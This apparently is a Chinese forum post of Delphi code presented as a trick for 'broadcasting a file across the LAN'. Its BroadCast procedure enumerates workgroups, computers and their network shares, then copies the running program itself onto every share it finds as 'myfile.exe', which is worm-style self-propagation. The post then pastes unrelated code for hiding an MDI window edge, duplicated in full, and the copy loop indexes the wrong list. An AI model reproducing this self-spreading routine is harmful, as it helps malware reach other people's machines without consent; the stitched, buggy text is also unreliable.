不知这是不是技巧:在局域网内广播文件。。。。
procedure BroadCast;
var
gs,us,rs:tstringList;
i:integer;
Function GetGroupList( var List : TStringList ) : Boolean;
type
TNetResourceArray = ^TNetResource;//网络类型的数组
Var
NetResource: TNetResource;
Buf: Pointer;
Count,BufSize,Res: DWORD;
lphEnum: THandle;
p: TNetResourceArray;
i,j: SmallInt;
NetworkTypeList: TList;
Begin
Result := False;
NetworkTypeList := TList.Create;
List.Clear;
//获取整个网络中的文件资源的句柄,lphEnum为返回名柄
Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER, Nil,lphEnum);
if Res <> NO_ERROR then exit;//Raise Exception(Res);//执行失败
//获取整个网络中的网络类型信息
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存,用于获取工作组信息
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
//资源列举完毕 //执行失败
if ( Res = ERROR_NO_MORE_ITEMS ) or (Res <> NO_ERROR ) then Exit;
P := TNetResourceArray(Buf);
for i := 0 to Count - 1 do//记录各个网络类型的信息
begin
NetworkTypeList.Add(p);
Inc(P);
end;
Res := WNetCloseEnum(lphEnum);//关闭一次列举
if Res <> NO_ERROR then exit;
for j := 0 to NetworkTypeList.Count-1 do //列出各个网络类型中的所有工作组名称
begin//列出一个网络类型中的所有工作组名称
NetResource := TNetResource(NetworkTypeList.Items[J]^);//网络类型信息
//获取某个网络类型的文件资源的句柄,NetResource为网络类型信息,lphEnum为返回名柄
Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);
if Res <> NO_ERROR then break;//执行失败
while true do//列举一个网络类型的所有工作组的信息
begin
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存,用于获取工作组信息
//获取一个网络类型的文件资源信息,
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
//资源列举完毕 //执行失败
if ( Res = ERROR_NO_MORE_ITEMS ) or (Res <> NO_ERROR) then break;
P := TNetResourceArray(Buf);
for i := 0 to Count - 1 do//列举各个工作组的信息
begin
List.Add( StrPAS( P^.lpRemoteName ));//取得一个工作组的名称
Inc(P);
end;
end;
Res := WNetCloseEnum(lphEnum);//关闭一次列举
if Res <> NO_ERROR then break;//执行失败
end;
Result := True;
FreeMem(Buf);
NetworkTypeList.Destroy;
End;
Function GetUsers(GroupName: string; var List: TStringList): Boolean;
type
TNetResourceArray = ^TNetResource;//网络类型的数组
Var
i: Integer;
Buf: Pointer;
Temp: TNetResourceArray;
lphEnum: THandle;
NetResource: TNetResource;
Count,BufSize,Res: DWord;
begin
Result := False;
// List.Clear;
FillChar(NetResource, SizeOf(NetResource), 0);//初始化网络层次信息
NetResource.lpRemoteName := @GroupName[1];//指定工作组名称
NetResource.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;//类型为服务器(工作组)
NetResource.dwUsage := RESOURCEUSAGE_CONTAINER;
NetResource.dwScope := RESOURCETYPE_DISK;//列举文件资源信息
//获取指定工作组的网络资源句柄
Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);
if Res <> NO_ERROR then Exit; //执行失败
while True do//列举指定工作组的网络资源
begin
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存,用于获取工作组信息
//获取计算机名称
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
if Res = ERROR_NO_MORE_ITEMS then break;//资源列举完毕
if (Res <> NO_ERROR) then Exit;//执行失败
Temp := TNetResourceArray(Buf);
for i := 0 to Count - 1 do//列举工作组的计算机名称
begin
//获取工作组的计算机名称,+2表示删除"\\",如\\wangfajun=>wangfajun
List.Add(Temp^.lpRemoteName + 2);
inc(Temp);
end;
end;
Res := WNetCloseEnum(lphEnum);//关闭一次列举
if Res <> NO_ERROR then exit;//执行失败
Result := True;
FreeMem(Buf);
end;
Function GetUserResource(IpAddr: string; var List:TStringList): Boolean;
type
TNetResourceArray = ^TNetResource;//网络类型的数组
Var
i: Integer;
Buf: Pointer;
Temp: TNetResourceArray;
lphEnum: THandle;
NetResource: TNetResource;
Count,BufSize,Res: DWord;
Begin
Result := False;
// List.Clear;
if copy(Ipaddr,0,2) <> '\\' then
IpAddr := '\\'+IpAddr; //填充Ip地址信息
FillChar(NetResource, SizeOf(NetResource), 0);//初始化网络层次信息
NetResource.lpRemoteName := @IpAddr[1];//指定计算机名称
//获取指定计算机的网络资源句柄
Res := WNetOpenEnum( RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
RESOURCEUSAGE_CONNECTABLE, @NetResource,lphEnum);
if Res <> NO_ERROR then exit;//执行失败
while True do//列举指定工作组的网络资源
begin
Count := $FFFFFFFF;//不限资源数目
BufSize := 8192;//缓冲区大小设置为8K
GetMem(Buf, BufSize);//申请内存,用于获取工作组信息
//获取指定计算机的网络资源名称
Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);
if Res = ERROR_NO_MORE_ITEMS then break;//资源列举完毕
if (Res <> NO_ERROR) then Exit;//执行失败
Temp := TNetResourceArray(Buf);
for i := 0 to Count - 1 do
begin
//获取指定计算机中的共享资源名称,+2表示删除"\\",
//如\\192.168.0.1 => 192.168.0.1
List.Add(Temp^.lpRemoteName);
Inc(Temp);
end;
end;
Res := WNetCloseEnum(lphEnum);//关闭一次列举
if Res <> NO_ERROR then exit;//执行失败
Result := True;
FreeMem(Buf);
End;
//---------------------------------------------------------
begin
rs:=tstringlist.Create;
gs:=tstringlist.Create;
us:=tstringlist.Create;
getgroupList(gs);
for i:=0 to gs.Count-1 do
GetUsers(gs.Strings[i],us);
for i:=0 to us.Count-1 do
GetUserResource(us.Strings[i],rs);
for i:=0 to us.Count-1 do
begin
copyfile(pchar(application.exename),pchar(rs.Strings[i]+'\myfile.exe'),false);
filesetattr(rs.Strings[i]+'\myfile.exe',faarchive);
end;
rs.Free;
gs.Free;
us.Free;
end;
type
TForm1 = class(TForm)
private
FOldClientProc,
FNewClientProc:TFarProc;
procedure ClientWndProc(var Message: TMessage);
public
procedure CreateWnd;Override;
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure ShowMDIClientEdge(ClientHandle: THandle; ShowEdge: Boolean);
var
Style: Longint;
begin
if ClientHandle <> 0 then
begin
Style := GetWindowLong(ClientHandle, GWL_EXSTYLE);
if ShowEdge then
if Style and WS_EX_CLIENTEDGE = 0 then
Style := Style or WS_EX_CLIENTEDGE
else
Exit
else if Style and WS_EX_CLIENTEDGE <> 0 then
Style := Style and not WS_EX_CLIENTEDGE
else
Exit;
SetWindowLong(ClientHandle, GWL_EXSTYLE, Style);
SetWindowPos(ClientHandle, 0, 0,0,0,0, SWP_FRAMECHANGED or SWP_NOACTIVATE or
SWP_NOMOVE or SWP_NOSIZE or SWP_NOZORDER);
end;
end;
procedure TForm1.ClientWndProc(var Message: TMessage);
begin
with Message do
case Msg of
$3F:
begin
if FormStyle = fsMDIForm then
ShowMDIClientEdge(ClientHandle,false);
end;
else
Result := CallWindowProc(FOldClientProc, ClientHandle, Msg, wParam, lParam);
end;
end;
procedure TForm1.CreateWnd;
begin
inherited CreateWnd;
FNewClientProc:=MakeObjectInstance(ClientWndProc);
FOldClientProc:=pointer(GetWindowLong(ClientHandle,GWL_WNDPROC));
SetWindowLong(ClientHandle,GWL_WNDPROC,Longint(FNewClientProc));
end;
type
TForm1 = class(TForm)
private
FOldClientProc,
FNewClientProc:TFarProc;
procedure ClientWndProc(var Message: TMessage);
public
procedure CreateWnd;Override;
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure ShowMDIClientEdge(ClientHandle: THandle; ShowEdge: Boolean);
var
Style: Longint;
begin
if ClientHandle <> 0 then
begin
Style := GetWindowLong(ClientHandle, GWL_EXSTYLE);
if ShowEdge then
if Style and WS_EX_CLIENTEDGE = 0 then
Style := Style or WS_EX_CLIENTEDGE
else
Exit
else if Style and WS_EX_CLIENTEDGE <> 0 then
Style := Style and not WS_EX_CLIENTEDGE
else
Exit;
SetWindowLong(ClientHandle, GWL_EXSTYLE, Style);
SetWindowPos(ClientHandle, 0, 0,0,0,0, SWP_FRAMECHANGED or SWP_NOACTIVATE or
SWP_NOMOVE or SWP_NOSIZE or SWP_NOZORDER);
end;
end;
procedure TForm1.ClientWndProc(var Message: TMessage);
begin
with Message do
case Msg of
$3F:
begin
if FormStyle = fsMDIForm then
ShowMDIClientEdge(ClientHandle,false);
end;
else
Result := CallWindowProc(FOldClientProc, ClientHandle, Msg, wParam, lParam);
end;
end;
procedure TForm1.CreateWnd;
begin
inherited CreateWnd;
FNewClientProc:=MakeObjectInstance(ClientWndProc);
FOldClientProc:=pointer(GetWindowLong(ClientHandle,GWL_WNDPROC));
SetWindowLong(ClientHandle,GWL_WNDPROC,Longint(FNewClientProc));
end;